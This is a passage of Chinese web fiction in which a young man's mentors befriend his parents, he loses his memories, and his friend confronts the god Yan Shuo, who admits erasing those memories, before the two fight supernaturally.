年轻老师眼眸含笑,似乎早就看出了他心里的那些小九九,莞尔道:“傻不傻?” 江凯乐揉揉脑门,红着脸哼唧一声:“才不傻。” —— 古往今来,商业会谈素来充斥着一堆鸡零狗碎的臭毛病。 一方要争取更高的售价,一方要争取最低的进价。一方要项目成品的巨额股份,一方又要没有限制的天价投资。 在这样的利益纠葛下,说起话来自然是夹枪带棒不留情面,看似和和气气却暗潮涌动。 从市场份额到数据分析,从项目前景到实际效益,抨击对方的弱势,夸大自己的优势,一拉扯就是足足两小时。 会议结束后,董事会的人叫住谢裴二人,哈哈笑着伸出手:“哎呀,宴总就是年轻气盛,说话难听了些,您二位可别见……” 谢语春看都没看伸到面前的手,道:“不用客套。项目已经谈好了,我们对贵司承诺的让利很满意,合作愉快。” 董事会的几人没想到谢语春会这么不给面子,碰一鼻子灰。 刚巧这时吕向财在旁边嗤笑一声,嘲讽意味十足,立时气得他们面红耳赤。 裴玉衡在看手机。 下属知道裴教授不喜欢这种商业场合,纯粹是作为主要负责人之一,他必须到场。 会议全程裴教授都没多说几句话,但旁若无人地玩手机,也不符合对方的性格。 下属忍不住好奇地看了一眼,刚巧看见裴玉衡冷冷地回复学生:【所以你准备把这篇论文发在故事会还是意林?】 下属:“……” 谢裴两人千里迢迢赶来H市,吕向财原本为他们精心准备了一场洗尘宴,被他们以还有要事为由婉拒了。 一群人浩浩荡荡路过会客室。 研究队的一名下属出来上厕所的时候,曾无意在里面瞥见谢叙白和江凯乐等待的身影。 这会儿门关上了,灯却亮着,或许人还没走。 想起谢裴两人和这名青年撞见时的失态,他琢磨几人可能认识,有意提醒,话还没出口,两位教授就像有透视眼一样拐了弯,推门而入。 其他人不明所以,尴尬地看向吕向财:“这……我们教授可能有东西落在里面了。” 结果吕向财一个大跨步,迫不及待似的,比他们还快地小跑了进去。 谢语春对坐在谢叙白身边的江凯乐和颜悦色问:“小朋友,介意让我和你家长谈谈话吗?” 江凯乐看一眼自家老师的神色,心领神会地让开了。 裴玉衡顺势坐在谢叙白的侧边沙发上,有些局促地搓了搓手掌,看向对方腿上的平安:“你养了狗?叫什么?” 研究队的人要惊呆了,不善言辞的裴教授居然在主动找话题! 谢叙白弯眸,顺势给裴玉衡炫耀起来:“它叫平安,一家超市的老板送给我的,可爱吧?” 裴玉衡低声赞同,顺势夸了两句。 只是他很少夸赞什么东西,语气显得有些寡淡,话出口就后悔了。 他怕眼前的年轻人觉得自己摆谱,或者在端长辈的架子,和手下学生相处时经常会有这样的误会。 该怎么找补呢? 裴玉衡不知道,且觉得莫名其妙。 他可以肯定自己完全不认识面前的年轻人,却在见面的一瞬间,突然生出“这是他孩子”的冲动,强烈到没边。 问题是,他将自己的半辈子都贡献给了科研,至今未婚未育。他在学生时期见识过那些龌鹾事,一直小心,可以肯定没有被人暗算,制造出什么流落在外的血脉。 所以为什么? 为什么看见谢叙白对他笑,他会无比心疼? 想不通就不想了。 现在裴玉衡只想遵从本心,把谢叙白带在身边,最好能招进团队。他没别的本事,也就手里有这么点权力,能够护人半辈子无虑。 于是他和蔼地问:“你是学什么专业的啊?” 谢叙白:“学的金融,现在大四了。” 裴玉衡大学修的生化,研究生时转生物工程,同期结识同校的谢语春,初步接触天文,最后荣获天文和生物双博士学位。 和金融没一个沾边。 并且他独自开设研究室的那段时间,被人在项目资金链上卡过脖子,所以非常反感那些资本做派。 裴玉衡干巴巴地说:“金融啊,也不错,挺好的。” 下属们觉得他们教授一定是鬼上身了。 谢语春比较直接,笑呵呵地解释道:“老裴是想问你以后有没有兴趣往生物方面进修,他想做你的导师。” 裴玉衡的主修项目,在于配合谢语春在航空舱建立封闭式生命保障系统,实现在外太空的自给自足,深入研究如何利用乃至于改造其他星球资源,转化成人类的可生存环境。 但这是对外的托辞。 只有研究队的人知道,他们真的发现了地外生命体,这才是加入生物研究的真正目的。 裴玉衡看似是边缘化的负责人,其实在整个团队里占据着举足轻重的地位,指缝中露出一点成果,都够研究者享誉后半生。 人人都挤破头颅争红了眼想往里进,但关键在于裴玉衡软硬不吃。 可现在,这个人凭什么? 他甚至学的金融! 科研之路难如攀山,所赴道路皆为荆棘,谁不是二、三十年熬过来的? 何况谢裴两人对谢叙白的态度明显就不一般。 一时间,饶是已经进入研究队的这些人,都忍不住心里泛酸。 对上谢语春玩味的眼神,谢叙白无奈道:“您可别说笑了,这又不是烤红薯烤土豆,往炉子里一扔就完了。” “你没去做又怎么知道不行?对了,你现在是哪个学校的?” 谢叙白说出学校名。 谢语春:“欸,还可以,就是差了点。成绩怎么样?” 谢叙白嘴角微抽,回答拿过四次单项奖学金,四次学业一等奖学金,三次国家奖学金。 “不错不错,没有懈怠。”谢语春话锋一转,“如果说,我想要你考上xx生物学硕士,你觉得自己要花多久?” 谢叙白转手把皮球抛回去:“看您是不是真想让我考。” 谢语春:“假设是真想呢?” “假设”和“真想”这两词到底是怎么凑一块儿的? 谢叙白:“三个月,不过报名在十月份,所以要一年。” 单听语气,会觉得谢叙白为人谦逊,不急不躁。 但一品内容,只觉得炸裂。 三个月就想学成别人要花几年苦修的知识,开什么玩笑? 此时其他人的看法又是一变。 有人觉得谢叙白大言不惭,牛皮吹上了天。 有人则觉得谢裴两位能对谢叙白另眼相看,说不准有什么奇异的才能。 毕竟谢叙白的奖学金可是一次没落下,特别是国家奖学金,大二才能评审,居然三次全拿,哪怕是在一所普通大学里也很了不得了! 至于谢叙白是不是在说谎夸大——这种分分钟能查出来的事情,谁敢说谎?还是在两位大佬的面前。 就在其他人心思各异的时候,谢叙白主动开了腔:“如果您已经问完了的话,我也有句话想问。” 谢语春:“好啊,你问。” 谢叙白凑近,用只有两人才能听到的声音无奈埋怨道:“您就这么喜欢一见面就拿我开涮吗?” 谢语春笑一声:“臭小子,不涮你涮谁?” 一个中年人,一个青年人,语气亲昵,有来有往,即使听不清他们在说什么,也能体会那是外人无法插足的氛围。 如果要比较科研方面的成就和才能,他们有十万分的不服。 但如果只是亲人间开个无伤大雅的玩笑……研究队的人默默释然了。 因为不需要比,也没得比。 这时谢叙白的手机响了起来,是赵芳女士打过来的,问他在哪儿鬼混,不回家吃饭也不提前说一声。 谢叙白忙软下语气说要吃,一抬头,谢语春已经站了起来,恢复那精明干练的姿态:“时间不早了,回家去吧,我们也该走了。” “……”谢叙白看一眼挂断的电话,心领神会,“您吃醋了?” 谢语春满脸慈祥,和风细雨地询问:“我醋什么?” 谢叙白轻咳一声:“没什么,我能请问一下您的联系方式吗?” 谢语春却笑道:“要联系方式干什么?只要有心,一定会有再见的时候。” 谢叙白:“……” 果然生气了吧。 经验告诉谢叙白别在这时候去触谢女士的霉头,可读取对方的情绪,似乎又不是生气。 他还想问一下现在是个什么情况,然而谢女士兵贵神速雷厉风行,一眨眼的功夫就消失在门口。 就像她无数次离开时那样。 谢叙白有机会拦上去,最终还是缓缓放下了手。 他很清楚。 虽然当初是他自己主动找上门,但作为普通人,一没有天赋,二没有才能,什么都不知道,什么也不会做,是谢裴二人担任导师和领航员,一步步引领他前进的方向。 在那个风云诡谲的时期,这其中要付出多少汗水,力排多少众议,除了当事人,没人想象得到。 他们已经辛苦太久。 如今他有了自己的人生,与之相对的,他们也没有义务继续为他停留。 这样也挺好。 谢叙白忽略心里的那一点惆怅,不无轻松地想到,只要人还在,哪怕天各一方,也终有重逢的一天。 —— 不管谢叙白以后会不会加入团队,他和两位BOSS的关系铁定不一般。 有人不在意,也有人上赶着巴结,哪儿知道吕向财见缝插针地往前一走,直接把他们挤在了后面! 他们不能等太久,愤愤地瞪了一眼吕向财,跟着离开了。 吕向财脸皮厚,被人用眼刀凌迟也不当回事,等人都走光了,才笑嘻嘻地对谢叙白说:“你好,交个朋友怎么样?我是吕向财,不过更希望你能叫我的真名,岑海跃。” 谢叙白的眸光闪烁两下。 他目前遇到的这些熟人里,大部分都失去了记忆。目前只有两个人除外,一个是谢语春,一个是岑海跃。 谢语春可以解释为本体为神,超脱物外,不受规则限制,岑海跃又是因为什么? 岑海跃给谢叙白使了个眼色,往上指了指:“大概因为这次副本由那位掌控,而我又是他的手下,受到的影响比较小吧。” 这里是三十一层,往上一层就是宴朔的办公室,答案呼之欲出。 “但你也别担心。”岑海跃拍了拍谢叙白的肩膀,笑眯眯地说,“反正大局已定,我觉得你正好可以趁这段时间好好休息一下,放松放松。” 是啊,其他人或许不知情不了解,他们这些和谢叙白朝夕相处的人,还能不知道他有多么辛苦吗? 岑海跃拼命克制拽走挚友彻夜长谈的冲动,依依不舍地说:“以免你会吃不消,我还是过两天再去找你吧。” 这时的谢叙白还没明白岑海跃话里的“吃不消”是什么意思。 半小时后,他搭江凯乐的车回家,抱着平安开锁进门的一瞬间,看见坐在沙发上的谢语春和裴玉衡,简直以为自己出现了幻觉。 当然客厅不止谢裴两人在,还有兴致勃勃捧着相册给谢语春看他童年糗照的母上赵芳,以及喝酒上头搂着裴玉衡的父上谢怀张。 谢叙白:“……” 赵芳难得和人这么聊得来,根本没注意到谢叙白回来,还在和谢语春分享:“你再看这一张,这是他七岁那年换牙,吃苹果的时候不小心把门牙磕掉了,满嘴都是血,急得哇哇大哭,躲在洗衣机里说自己要死了,让我们把他埋起来。唉哟,你是不知道他那时候有多可爱。” 谢语春想到那画面,也忍不住笑,无比赞同说:“确实可爱到没边了,后来怎么样,他不会哭了一整晚吧?” 赵芳一脸怀念:“没有,这孩子向来坚强,血止住就不哭了。我们之后就教他,传统说法里呀,上门牙掉了要放在床底下,这样牙齿就能向下健康地长。他就双手捧着掉了的牙,乖乖地塞到床底,每天睡前都会认真地拜一拜,恳求牙仙让他的牙快快长出来。” 见谢语春听得认真,赵芳作为母亲得到极大的满足感,抬手要往后面翻:“对了对了,这还有他一岁时光——” 谢叙白眉头一跳,预料到她要说什么,连忙喊了一声:“……妈!” 两人都抬起了头。 赵芳拍胸脯:“吓死我了,你这孩子,什么时候回来的,怎么不吭一声?” 谢语春则挑了下眉头,看向谢叙白的眼神意味简单且危险:你小时候尿布都是我换的,这会儿知道害羞了?跟妈还见外上了是吧?还是说有了亲妈就忘了养母? 谢叙白:“……” 根本没法接茬。 他实在搞不定这个,将求助的眼神投向屋里的另外两人。 岂料一转头,就看见喝大的谢怀张抱着裴玉衡,手指向他悲从中来:“你是不知道这混小子小时候有多完蛋,打碎我半个柜子的收藏品,我那紫砂壶可是张玄大师亲手制造,精心保存二十多年,如今都绝版了啊啊啊啊——” 谢叙白:“……” 裴玉衡连忙拍拍谢怀张的背,安抚道:“没事,没事,我有个朋友喜欢收集茶具,张玄大师的作品也拿到过几件,回头我找他帮你问一问。” 谢怀张一听这话,眼睛立马亮了三分:“真能吗?兄弟,什么话都不说了,从今以后你就是我的兄弟!来,继续喝!” 裴玉衡推了推眼镜,将酒接下,慢条斯理地说:“好,谢兄弟,我们不见外,以后就叫我玉衡吧,谢叙白这孩子,我也当亲儿子养。” 谢怀张:“当然了,我们是兄弟,他也是你的儿子嘛!” 三言两语被卖出去的谢叙白:“……” 他终于理解到岑海跃说的“吃不消”是什么意思。 这时赵芳终于注意到谢叙白怀里的奶狗儿,看过去的瞬间,平安立马眨巴湿漉漉的眼睛,冲赵芳卖乖地呜汪一声。 赵芳瞬间被萌化,把狗抱过去摸摸。 平安知道自己能不能顺利留下来就看眼前这个人的态度了,立马使出浑身解数来撒娇。 关于怎么成功地和两夫妻拉进关系,谢裴两人给出造访理由是,从明天开始,他们会搬到谢叙白家楼上。 远亲不如近邻,所以邻居就是亲戚,提前打好交道,以后有什么不方便,可以相互帮忙搭个伙,长此以往,那不就比亲人还亲了吗? 这套说辞别有一番胡搅蛮缠之理,谢叙白觉得两夫妻再怎么糊涂,也不该被这么轻松忽悠了过去。 直到谢怀张借口上厕所的间隙,神神秘秘地把谢叙白拉了过去,一双眼睛满是清明,哪里还有刚才的糊涂醉态? 他悄摸问谢叙白:“你帮我仔细看看,刚才那两人是不是真的谢语春和裴玉衡?” 虽然科教频道的关注度远不如娱乐频道,但谢怀张还是认识谢裴两人的,毕竟今天早上的新闻,就播放有他们的照片。 听到这里,谢叙白大概明白酒场老手的谢怀张为什么会这样失态了,回答是。 “那就行,那就行。”谢怀张顿了顿,拍一下谢叙白的肩膀,“我再去跟他们喝,你也快毕业了,看看能不能让他们帮忙推荐一下……” 谢怀张不奢望那两位大佬能把谢叙白收下。 但哪怕只是口头引荐一下,便足以让谢叙白的前途一片光明。 谢叙白这才读懂谢怀张的良苦用心,喉头发紧,拉住人说:“别喝了爸,你忘记自己的肝不好吗?” 年轻时不知节制,老了就是有点受罪,谢怀张也到了快退休的年纪,这几年不大跟人喝酒了。 他笑呵呵地摆手说:“不碍事,不碍事,裴教授和谢教授都是响当当的国士,是好人,平时哪有机会见到这种大人物,高兴嘛。” “其实……”谢叙白舔了舔干涩的嘴唇,酝酿说辞,“其实他们是我的老师,你也知道他们身份特殊,对外要保密,所以我一直没跟你们说过。” 什么? 这会儿谢怀张是真震惊了,瞪圆眼将谢叙白从头打量到脚:“好小子,我儿子这么厉害,能被两位院士看入眼?” 原本谢怀张心里也有点犯嘀咕,为什么谢裴两人会对他们这么热情,如此就不奇怪了。 他不觉得谢叙白是个完美无瑕的人,但也不会怀疑儿子的优秀,那一箱子的奖状就是证明! 谢叙白点头:“是啊,所以……” 谢怀张道:“那就更该喝了!那可是你的老师!” 谢叙白:“……” 看着对方义正言辞的脸,他严重怀疑谢怀张只是单纯的被他妈管得太狠,想要放纵到底。 谢叙白摇了摇头,见四位长辈都很开心,也就由他们去了,大不了之后再用精神力为他们调理身体。 这一晚上热热闹闹,他在旁边看着,充当中间联系人,时而无奈,时而情不自禁地扬起嘴角。 第二天一早,九点左右,有人按响了门铃。 谢叙白坐在饭桌上吃早饭,赵芳顺手去开的门。他刚拿起豆浆,就听见门口传来江凯乐和蝉生乖巧昂扬且做作的问候声:“师——奶——好!” 第三天,岑海跃带着大包小包慰问品到访,作为圈内知名“交际花”,和中年人打交道也不在话下,一口一句甜言蜜语哄得两夫妻笑开了花。 … …… ……… 【谢叙白,你幸福吗?】 问话不知道从何处传来,伴随着一阵紊乱嘈杂的电流声,失真模糊,嗖嗖过耳,像老电视机坏掉时爆出的杂音。 谢叙白站在一片没有边界的土地上,除此之外看不见别的活物。这里荒凉无比,放眼望去,一览无遗,头顶是猩红圆月,将世界染成地狱。 他听见前面扑通一声,有什么东西重重地砸在地上,一抬头,看见了平安的脑袋。 那颗脑袋面朝向他,半张脸被硫酸腐蚀,露出黑褐色的狰狞疮疤,一只眼睛被灼烧掉了,剩下的那一只满是泪水。 大狗不停挣扎,声带受损的喉咙发出呜呜的哀鸣,前腿疯狂蹬击地面。 它不想死,它想活下去。 谢叙白发疯似的冲上去,驱使金光为平安疗伤,但那些伤势一点都没有好转。 平安用尽最后一丝力气,舔了舔他的掌心,颓然地闭上眼睛。 这一刻,天空突然崩裂,电闪雷鸣,一道道形状不一的影子朝地上砸去,世界开始下起尸体雨。 那些尸体,都是他认识的人。 谢叙白看见了变成红龙的江凯乐,看见了变成食尸鬼的裴玉衡,看见了淹死的岑海跃,看见了掏空脏腑献祭自己的谢语春,看见了被制作成人头鬼的亲生父母。 还有那些战友,那些爱戴着他、信任着他的同伴。 天上掉下来一具,谢叙白接一具,接完一具还有一具,堆在一起将他淹没。 【谢叙白,你幸福吗?】 那声音清晰了一些,不是一个人在问,是许多个人在问。 谢叙白用力地喘出一口气,艰难地推开那些尸体,抖着指尖,从缝隙中爬出来。 他浑身染血,浑身都疼,咽下满嘴腥甜,胳膊肘撑在地板上,咬住后槽牙,脖颈青筋暴跳,一点点地直起身,踉踉跄跄地往前走。 往前走。 他要往前走。 他必须往前走。 那声音还是不停,絮絮叨叨。有男有女,有老有少,认识的和不认识的全部杂糅在一起,如阴魂的嚎哭。 谢叙白,你幸福吗…… 谢叙白,我们死了,你能幸福吗…… 你难道忘记了我们吗…… 你怎能幸福啊…… 滚烫的血液顺着额头滑落,流经眼角,啪嗒落地。谢叙白眼前一片血色,几乎看不清东西,疲累地将眼睛睁了又睁。 耳边传出咔嚓声响,他听见灵魂碎裂的声音。 他没救了,他将会死去。 谢叙白仰起头,瞳孔涣散,睫毛轻颤,像濒死振翅的蝴蝶:“我……” “够了。” 粗壮的触手从阴影中潮水般涌出,勾着谢叙白的腰,将他按进一个结实宽厚的胸膛。 青年的灵魂不受控制地哆嗦着,仿佛承受着难以想象的痛苦。 宴朔用力地将他抱紧,张开双臂框住这具冰冷瘦削的身躯,手掌挡住他看向那些尸体的视线,另一只手与他五指相握。 “够了。”宴朔嗓音喑哑,对谢叙白贴耳哄道,“你只是做了一场噩梦而已,那些都不是真的。乖,已经没事了。” 触手翻涌,将谢叙白珍惜地裹入一片静谧的黑暗。 ……… …… … “谢叙白!” 谢叙白醒过来,对上岑海跃忧心如焚的脸,茫然地眨了眨眼睛:“怎么了?” “你刚才突然就睡着了,怎么叫都叫不醒。” 这可不是什么安静舒适的环境,吵闹声大得能翻天,岑海跃很担心谢叙白的身体是不是出了什么状况。 谢叙白撑起身来,发现他们正在一艘巨大的游轮上,海面波涛汹涌,日光灿烂耀眼。 无数人挤在栏杆边上,探头看着鲸鱼潜水,引起漩涡下陷。又伴随着一声嘹亮高亢的鲸鸣,它呼一下冲开海面,甩尾掀起十几米高的巨浪,几乎遮住半边天! 人们大声呼叫,激动得面色潮红。 谢叙白的身上已经盖着两张毯子了,岑海跃又找服务生拿来一张,仔仔细细地把他的上半身也裹紧,懊悔地念叨着:“冬季出海还是冷了一些,怪我猴急,应该带你去泡温泉的。” 听到人群的呼声,他扯眉看过去,笑道:“鲸潮壮观吧?不过比起我的真身还是要差上那么一点,等改天……” “什么真身?” 岑海跃一顿。 他原以为谢叙白是假装不知道来逗弄他,扭头却在青年的脸上,看见了真情实感的困惑。《 》 280-286 第281章 我们是玩家 盛天集团三十二层,总裁办公室。 副秘书长正在给宴朔汇报工作,突然嘭一声,有人闯了进来。 自从上一个对宴朔大呼小叫的董事会成员被保安丢出公司并且再也没出现后,整个三十二层就没人再敢发出超过70分贝的声音。 而来者大步流星逼至办公桌前,正应了那最不祥的预感,这人是来找茬的。 副秘书长眼皮子一跳,心说又是哪个不知死活的玩意,谁知道一扭头,居然看见了一脸阴沉的岑海跃。 这是什么情况? 全公司上下,谁不知道他吕向财是宴朔手底下忠诚不二的一条狗。董事会现在举旗子全员造反,都不如岑海跃朝宴朔发难来得让他愕然。 他赶忙问道:“吕秘书?你不是去度假了吗,怎么这么快就回来了?” 岑海跃没应,直勾勾地盯着宴朔:“您现在方便吗?” 宴朔冷淡地扫他一眼,同样没有理会,对副秘书长说:“继续。” 副秘书长一瞬间感觉自己像是被架在火上烤。 幸好岑海跃没有发作。但对方明显压抑着什么,气氛从这一刻急转直下,冷得刺骨。 副秘书长用最快速度完成汇报请示离开,把门带上的一刻,甚至有种虎口脱险的庆幸感,同时听见岑海跃略带火气的嗓音在屋里响起。 “您到底想要干什么?” 从发现谢叙白失忆,到佯装若无其事地稳住对方,再到返程。 这一路上岑海跃反复质疑,反复按捺不安,反复地想自己是不是以小人之心度君子之腹。 却见宴朔随手将企划案翻到下一页,头也不抬的:“你在质问我?” 岑海跃的心登时凉掉半截。 岑海跃对宴朔的唯命是从,有八成是亲眼看见一公司的怪物眨眼化作血沫飞散。 还有两成,其实是出于敬。 诚然宴朔不是一个让人有安全感的老板,但大多数时候祂都称得上一位博古通今的神祇。 无论是新人秘书无法应对的商谈陷阱,还是令职员手忙脚乱的报表资料,亦或是人到中年的怅惘、路边五岁小孩吃糖蛀牙的苦恼,祂总能给出合适的解答,也总是不吝解答。 这种不需要他人付出代价或报酬的授业解惑,与其说是宴朔好心,倒不如说是祂不在意。 就像把路障扶正,给鸟丢一把小米,人在做这些事情的时候,难道会抱有什么复杂的欲望和心理吗? 只是随手而已。 所以此时此刻,没有像往常一样正面回答的宴朔,就足以说明问题。 “真的是你剥夺了谢叙白的记忆。”岑海跃径直对上宴朔漠然的眼睛,再也压不住怒火,“你为什么要这么做?” 天知道被谢叙白用陌生目光审视的那一刻,岑海跃是个什么心情。 他用尽毕生力气才勉强对谢叙白挤出一个笑脸,磕磕绊绊编出一副还算合理的说辞,没等消化完这惊怕担忧的心情,后面发生的事情又哐当一下,把他砸得头晕目眩。 谢叙白修的是精神力,实力的发挥与自我认知的深度密切相关,而遗忘会封闭谢叙白自身的力量——忘得越多,封得越多,就会越弱,乃至于能力归零。 到他们下飞机的那一刻,谢叙白已经把游戏试炼轮回系统,通通忘得一干二净。 青年不知道怎么驱使精神力,看不见脚下焦躁游弋的红色鲸鱼,认为邪祟怪物都是拿来坑蒙拐骗的封建迷信,俨然和常人无异。 青年很好奇自己为什么会和岑海跃这个没见过几天的邻居一起外出旅行,对谢语春的印象是厉害果断的教授,对裴玉衡的印象是厉害寡言的教授,对平安的印象是才抱回家没几天的小狗,对江凯乐和蝉生的印象是路边撞见有点自来熟的少年。 …… 开什么玩笑! 岑海跃厉声质问宴朔:“这个虚假世界的控制权在你手里,除了谢叙白没人能和你抗衡!所以你消减他的力量,蒙蔽他的认知……难道是想要统治这个世界吗?” “统治世界?” 也许是觉得太过荒谬,宴朔终于纡尊降贵将视线从企划案里抬了起来,嗤笑一声:“除了系统和十五岁中二少年,谁会这么无聊?” 岑海跃茫然地眯起眼睛。 宴朔了然:“看来就算系统已经落网,你也不能完全理解【系统】和【无限游戏】是什么意思。” 岑海跃听着他轻飘飘的语气,愈发有种事态失控的危机感,绞尽脑汁琢磨宴朔到底有什么目的。 其他人没变化,世界也没太大的变化,唯一有变化的就只有谢叙白。 如果不是为权,也不是为钱为利,宴朔为什么要控制谢叙白? ……等等。 控制? 岑海跃猝然萌生出一个极其荒诞的猜测,声线发抖:“……别告诉我,你准备把谢叙白永远困在这个虚假的世界?” 他泥腿子出身,大半辈子都混迹在风月名利场,对这种欺男霸女的行径不要更熟悉。 但就是因为太熟悉,才不敢想。 在他心里,挚友谢叙白是何等清风霁月的人物,谁要是胆敢对谢叙白生出这样肮脏的念头,他必将那人碎尸万段! 然而宴朔接下来的话,打破了岑海跃最后的侥幸。 宴朔:“如果我真打算那么做,你又能改变些什么呢?” 话音未落,岑海跃身边的空气瞬间被抽干。在他完全来不及做出反应前,千钧重压将他击垮在地。 岑海跃艰难撑起上半身,大片阴影轰一下如海啸打来,又把他无情地压了下去! 宴朔站在他的面前:“你是不是觉得自己现在很狼狈?” 他蹲下身,慢条斯理说:“但我认为差得不止一星半点,完全比不上谢叙白灵魂碎裂时的模样。” 岑海跃费力抵抗威压,听闻这话瞳孔一缩,猛然抬头:“什么灵魂碎裂,你说清楚!” 岑海跃是不清楚的,应该说大部分人都没有见识过谢叙白灵魂破碎的样子,毕竟谢叙白一次碎在无法勘测的高维世界,一次碎在渺无人烟的荒郊野岭,如果宴朔的速度慢上那么一点,他将消亡得悄无声息。 ……就是因为这样,才让宴朔无法释怀。 触手从影子里钻出,挤占大半个办公室,翻涌时宛若群魔嘶吼,摧枯拉朽,掀起阴暗的潮气。 宴朔不带一丝温度地和岑海跃对视,扯出个讥诮的笑:“你居然不知道什么是灵魂碎裂?也对,毕竟不是谁都有谢叙白那么高强的精神力,经历过的苦痛刻在骨子里,忘都忘不干净。” 他往岑海跃撑起身体的左臂瞥了一眼。 猝然间,岑海跃的左臂传出一阵撕心裂肺的剧痛。这种痛如闪电击穿五脏六腑,直达灵魂深处,令他眼前发黑,冷汗直流,重重栽倒下去。 宴朔没有对岑海跃出手,只是还原一下他当初灵魂碎裂时的感受。可仅仅是这五秒钟的体验,就让岑海跃痛不欲生。 好半天,他才满头大汗地缓过劲儿来,第一时间回顾起宴朔刚才说的话,瞳孔发颤。 这,这就是灵魂碎裂?谢叙白曾经历过这样的痛苦,在什么时候?为什么对方从来不说? “挚友。”宴朔咀嚼着这个词,笑意不达眼底,“从谢叙白进医院开始,除了那些可有可无的资金供给,你还做过什么?理所当然地等着被救,自艾自怨地沉浸过往,对他发生过什么经历过什么更是无知无觉,这就是你所骄傲自诩的挚友?” “怎么可能,我……” 岑海跃心如刀绞。 可是他这张巧言善变的嘴,浑似打了结,吐不出一句为自己辩解的话。 宴朔抬起手,掌心浮现出一个金光小人。 小人与谢叙白长得一模一样,散发的光晕也如他的精神力般温暖和煦,瞬间驱散整个办公室的阴寒。他安静地闭着眼,枕在宴朔的掌心,微微蜷缩身体,胸口一起一伏,似乎陷入深眠。 岑海跃在小人的身上感知到谢叙白的精神波动,猜测这可能就是谢叙白遗失的那部分记忆载体,情不自禁要去触摸。 下一秒黑雾翻涌,成千上万缕汇聚在一起,如细长的荆棘藤蔓编织出金丝雀的囚笼,将小人笼罩,一点点扯入深渊。 岑海跃抓了个空,又因制止不能,眼里浮现出猩红血色:“宴朔!” 宴朔笑道:“与其累死累活把自己折磨得生不如死,留在这个虚假的世界又有什么不好?这里什么都有,亲朋好友俱在,死伤罪恶皆无,他会过得比以往任何时候都要幸福。” 岑海跃奋力挣扎,背后显出红鲸轮廓。他狰狞面孔怒斥:“狗屁!你这分明是在抹杀他的人格,谢叙白绝对不会情愿你这么做!” “宴朔!你可以嘲讽我弱小无知,但你不该不清楚谢叙白一路走来付出了多少,凭什么你一句不值得为他好就要抹除他的全部努力,你——” “抹除?不。”宴朔笑起来。 他眼神中透出一丝狠意,后几个字极轻、极轻:“谢叙白遭遇的那些痛苦,做出的那些功绩,他可以不记得,你们又怎能忘记?” 伴随宴朔说出这段话,无形的力量余波在H市的上空聚集,轰一下冲刷四方,整个世界忽然产生了某种奇妙的化学反应。 包括岑海跃在内的一些人,脑子里的记忆清晰不少,那些早已遗忘的过去接二连三地翻出水面。 岑海跃现在顾不上理会。 目视谢叙白的记忆载体即将彻底消失,他几乎发了狂。作为真身的红鲸怒吼一声,挣开威压束缚,咧开血盆大口咬向宴朔托着金光小人的手掌,要将它夺回。 宴朔不闪不避,在红鲸冲上来的瞬间抬手下压,利齿刺破祂的手掌,血液飞溅,祂将红鲸掐断骨骼掼倒在地,上百平的房砖瞬间塌裂,烟尘冲天! 红鲸咆哮,宴朔在笑。 长久以来,撇开宴朔的神级威压,祂这“邪神”的称号实在有点名不副实。一不喜苦难,二懒得蛊惑他人,杀伐果断但又称不上嗜杀,更别提杀虐本就是怪物都有的天性。 和其他邪物一比,简直可以拉上台竞选城市道德标兵。 然而此时此刻,那邪性从祂的笑容里丝丝缕缕地冒了出来,大有扯下天地共沉沦的疯感。 底下的员工不知所措,以为地震来了,叫嚷着逃命。 岑海跃分神看了一眼,被宴朔抓住尾巴,抡圆甩出十几公里开外,落地砸断山脊! 疼痛侵蚀全身,岑海跃头晕眼花地爬起来,咽下满口血腥杀回盛天集团。 此时的集团外早已聚集了一批被动静吸引来的围观路人,而宴朔大概是嫌烦,驱使黑雾竖起百米城墙,禁止岑海跃入内。 红鲸双眼赤红,扑到黑雾上疯狂撕咬,口齿崩裂鲜血淋漓。 岑海跃不顾旁人阻拦,蓄起力量一拳接一拳砸在禁制上,声嘶力竭地咒骂宴朔。 旁人看不见禁制和黑雾,只看见岑海跃发疯似的砸墙,像脑子坏掉一样。 更恐怖的是他力气非人,一米九的壮汉都被他一胳膊肘到了地上,吓得路人纷纷退避三舍,拨打报警电话。 直至有人拨开人群,犹疑两秒后小跑上来拽住他:“岑海跃,你冷静一点!” 岑海跃动作一僵。 宛若熊熊大火被兜头一桶水浇灭,他木偶般迟滞地扭过头,看向蹙眉担忧的谢叙白。 谢叙白见他冷静下来,顺着他的视线松开手,解释道:“你今天下飞机的时候不太对劲,我担心你是不是生病了,结果敲你家门没人应,发消息也没回,就顺着你提到的公司地址找过来看看。你刚才是怎么了?” 其实谢叙白现在有一点懵。 据他为数不多的回忆,岑海跃在几天前刚搬来他们小区,当天就在篮球场上和他一见如故,次日就带着礼品热情登门拜访他家老父老母,再一天就和他推心置腹相约涠洲岛海域,展开一场波澜壮阔的观鲸旅行。 不说岑海跃是个什么样的性情,他是这样的社交恐怖分子吗? 谢叙白还在暗自思忖,突然眼前一花,呆愣的岑海跃扑上来将他紧紧抱住:“对不起,我太没用了,对不起……” 热泪流经脖颈,似乎能将冰雪烫化。 谢叙白再次愣在原地。 今天之前,如果有谁和他说,会有一个大男人扑上来抱住他大哭特哭,那他一定会笑着骂回去:“滚吧,真遇上这种事我一定跑得人影都看不见。” 毕竟他就一普普通通大学生,哪会遇上这莫名其妙的电影情节。准是人贩子觊觎他身强力壮,想拉他去噶腰子。 现在这事真的发生了,谢叙白没有跑。 他看着面前的岑海跃,莫名有些难过,拍拍对方的背,用上哄老妈班上小学生的语气:“好啦,好啦。你有什么对不起我的,是说提前结束旅行的事儿吗?这有什么大不了的,我们抽时间再去不就行了吗。要不然就定在明天?” 然后围观群众就看见刚才还凶残得肘飞好几人的岑海跃,在谢叙白的拍哄下,摇身一变弱男子。 这弱男子泫然欲泣,紧攥谢叙白的手,双眼赤红发毒誓:“你等着,就算豁出这条命我也要把你的■■夺回来!” 到底是从哪儿学来的八点档狗血台词,演复仇剧吗这是? 被人看着的谢叙白有点尴尬,下意识否认:“别犯傻……” 一扭头,看见岑海跃眼眶通红又要淌泪,他连忙硬着头皮附和:“好好好,夺夺夺,把失去的都夺回来。” 不一会儿警察过来调解纠纷,得知是误会后安抚众人几句,收了队。 谢叙白哭笑不得地拉着岑海跃回小区,热闹的主角都走了,人潮便也慢慢散去,沸沸扬扬的公司空地眨眼间陷入死寂,如同巍峨大厦三十二层高楼上的总裁办公室。 宴朔伫立落地窗前,视线往下,直至再也看不见谢叙白的身影。 他随手一抬,被红鲸砸出来的满地狼籍恢复如初。 楼下的职员忙忙碌碌,该下班的下班,该上工的上工,无人再往头顶多看一眼,就像什么都没发生过一样。 宴朔坐回办公椅,刚一拿起企划案,一道淡白的人影就凑了上来。 